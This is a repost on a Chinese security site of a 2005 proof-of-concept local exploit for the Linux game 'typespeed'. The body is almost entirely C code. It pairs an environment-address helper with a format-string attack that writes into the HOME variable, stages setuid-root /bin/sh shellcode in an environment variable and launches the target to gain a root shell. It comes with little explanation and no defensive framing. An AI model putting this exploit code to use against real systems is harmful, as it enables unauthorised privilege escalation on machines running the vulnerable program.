首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Typespeed Proof of Concept Local Exploit
来源:vfocus.net 作者:vfocus 发布时间:2005-02-20  

Typespeed Proof of Concept Local Exploit

/*

Proof of Concept local exploit for typespeed tool

"enva" content:

*********************************************
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *addr_ptr = NULL;
addr_ptr = getenv(argv[1]);
printf("%s @ %p\n", argv[1], addr_ptr);
return 0;
}
*********************************************

*/

#include <stdio.h>
#define offset 2
#define var (0x08050288+0x4)

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";

int main(int argc, char *argv[])
{
char *addr[3] = { ((char *)var +2),
((char *)var),
};

char buffer[1024];
int high, low;
long target;

target = 0xbffff950;

high = (target & 0xffff0000) >> 16;
low = (target & 0x0000ffff);

high -= 0x8;
sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn",
&addr,
high,
offset,
(low - high)-0x8,
offset+1);
memset(buffer+strlen(buffer), 0x41, 32);

setenv("HOME", buffer, 1);
setenv("SHELLCODE", shellcode, 1);
system("./enva SHELLCODE");
system("./typespeed");
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Arkeia 5.3.x Type 77 Request R
·Medal of Honor Spearhead Dedic
·Arkeia 5.3.x Type 77 Request R
·3com 3CDaemon FTP Unauthorized
·Arkeia 5.3.x Type 77 Request R
·DelphiTurk e-Posta v1.0 Local
·DoS in Quake 3 poc
·DelphiTurk CodeBank 3.1 Local
·vbulletin 3.0.x PHP code execu
·Thomson TCW690 POST Password V
·Sami HTTP Server Directory Tra
·Cfengine RSA Authentication Re
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved